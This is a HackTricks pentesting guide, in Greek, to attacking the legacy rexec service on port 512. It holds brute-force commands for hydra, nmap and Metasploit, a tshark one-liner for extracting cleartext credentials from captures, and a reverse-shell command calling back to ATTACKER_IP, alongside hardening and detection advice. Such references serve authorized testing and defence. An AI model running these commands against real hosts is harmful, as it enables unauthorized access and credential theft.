512 - Pentesting Rexec
Reading time: 5 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
Rexec (remote exec) είναι μία από τις αρχικές υπηρεσίες r-services του Berkeley (μαζί με το rlogin
, rsh
, …). Παρέχει τη δυνατότητα εκτέλεσης απομακρυσμένων εντολών με αυθεντικοποίηση μόνο με ένα όνομα χρήστη και κωδικό πρόσβασης σε καθαρό κείμενο. Το πρωτόκολλο ορίστηκε στις αρχές της δεκαετίας του 1980 (βλ. RFC 1060) και σήμερα θεωρείται ανασφαλές εκ του σχεδιασμού. Παρ' όλα αυτά, είναι ακόμα ενεργοποιημένο από προεπιλογή σε ορισμένο κληρονομημένο εξοπλισμό UNIX / δικτυακά συνδεδεμένο και εμφανίζεται περιστασιακά κατά τη διάρκεια εσωτερικών pentests.
Default Port: TCP 512 (exec
)
PORT STATE SERVICE
512/tcp open exec
🔥 Όλη η κίνηση – συμπεριλαμβανομένων των διαπιστευτηρίων – μεταδίδεται χωρίς κρυπτογράφηση. Οποιοσδήποτε έχει τη δυνατότητα να παρακολουθήσει το δίκτυο μπορεί να ανακτήσει το όνομα χρήστη, τον κωδικό πρόσβασης και την εντολή.
Γρήγορη ματιά στο πρωτόκολλο
- Ο πελάτης συνδέεται στο TCP 512.
- Ο πελάτης στέλνει τρεις NUL-τερματισμένες συμβολοσειρές:
- τον αριθμό θύρας (ως ASCII) όπου επιθυμεί να λάβει stdout/stderr (συχνά
0
), - το όνομα χρήστη,
- τον κωδικό πρόσβασης.
- Στέλνεται μια τελική NUL-τερματισμένη συμβολοσειρά με την εντολή που πρέπει να εκτελεστεί.
- Ο διακομιστής απαντά με ένα μόνο byte κατάστασης 8-bit (0 = επιτυχία,
1
= αποτυχία) ακολουθούμενο από την έξοδο της εντολής.
Αυτό σημαίνει ότι μπορείτε να αναπαραγάγετε την ανταλλαγή με τίποτα περισσότερο από echo -e
και nc
:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Αν τα διαπιστευτήρια είναι έγκυρα, θα λάβετε την έξοδο του id
απευθείας πίσω στην ίδια σύνδεση.
Χειροκίνητη χρήση με τον πελάτη
Πολλές διανομές Linux εξακολουθούν να περιλαμβάνουν τον παλιό πελάτη μέσα στο πακέτο inetutils-rexec / rsh-client:
rexec -l user -p password <target> "uname -a"
Αν το -p
παραλειφθεί, ο πελάτης θα ζητήσει διαδραστικά τον κωδικό πρόσβασης (ορατός στο δίκτυο σε καθαρό κείμενο!).
Αριθμητική & Βίαιη Διείσδυση
Βίαιη Διείσδυση
Nmap
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
Το rexec-brute
NSE χρησιμοποιεί το πρωτόκολλο που περιγράφηκε παραπάνω για να δοκιμάσει διαπιστευτήρια πολύ γρήγορα.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra
έχει ένα ειδικό rexec module και παραμένει ο ταχύτερος offline bruteforcer. medusa
(-M REXEC
) και ncrack
(rexec
module) μπορούν να χρησιμοποιηθούν με τον ίδιο τρόπο.
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
Το module θα δημιουργήσει ένα shell σε περίπτωση επιτυχίας και θα αποθηκεύσει τα διαπιστευτήρια στη βάση δεδομένων.
Sniffing credentials
Επειδή όλα είναι σε καθαρό κείμενο, οι καταγραφές δικτύου είναι ανεκτίμητες. Με ένα αντίγραφο της κίνησης μπορείτε να εξάγετε τα creds χωρίς να αγγίξετε τον στόχο:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark enable Decode As … TCP 512 → REXEC για να δείτε τα πεδία με ωραία ανάλυση.)
Συμβουλές Μετά την Εκμετάλλευση
- Οι εντολές εκτελούνται με τα δικαιώματα του παρεχόμενου χρήστη. Αν το
/etc/pam.d/rexec
είναι κακώς διαμορφωμένο (π.χ.pam_rootok
), οι ρίζες μπορεί μερικές φορές να είναι δυνατές. - Το Rexec αγνοεί το κέλυφος του χρήστη και εκτελεί την εντολή μέσω του
/bin/sh -c <cmd>
. Μπορείτε επομένως να χρησιμοποιήσετε τυπικά κόλπα διαφυγής κέλυφους (;
,$( )
, backticks) για να αλυσσοδέσετε πολλές εντολές ή να δημιουργήσετε αντίστροφες ρίζες:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Οι κωδικοί πρόσβασης συχνά αποθηκεύονται στο ~/.netrc σε άλλα συστήματα. Αν παραβιάσετε έναν υπολογιστή, μπορεί να τους επαναχρησιμοποιήσετε για πλευρική κίνηση.
Σκληροποίηση / Ανίχνευση
- Μην εκθέτετε το rexec; αντικαταστήστε το με SSH. Σχεδόν όλοι οι σύγχρονοι inetd superservers σχολιάζουν την υπηρεσία από προεπιλογή.
- Αν πρέπει να το διατηρήσετε, περιορίστε την πρόσβαση με TCP wrappers (
/etc/hosts.allow
) ή κανόνες τείχους προστασίας και επιβάλετε ισχυρούς κωδικούς πρόσβασης ανά λογαριασμό. - Παρακολουθήστε την κίνηση προς το :512 και για εκκινήσεις διεργασιών
rexecd
. Μια μόνο σύλληψη πακέτου είναι αρκετή για να ανιχνεύσετε μια παραβίαση. - Απενεργοποιήστε το
rexec
,rlogin
,rsh
μαζί – μοιράζονται τις περισσότερες από τις ίδιες βάσεις κώδικα και αδυναμίες.
Αναφορές
- Nmap NSE
rexec-brute
documentation – https://nmap.org/nsedoc/scripts/rexec-brute.html - Rapid7 Metasploit module
auxiliary/scanner/rservices/rexec_login
– https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.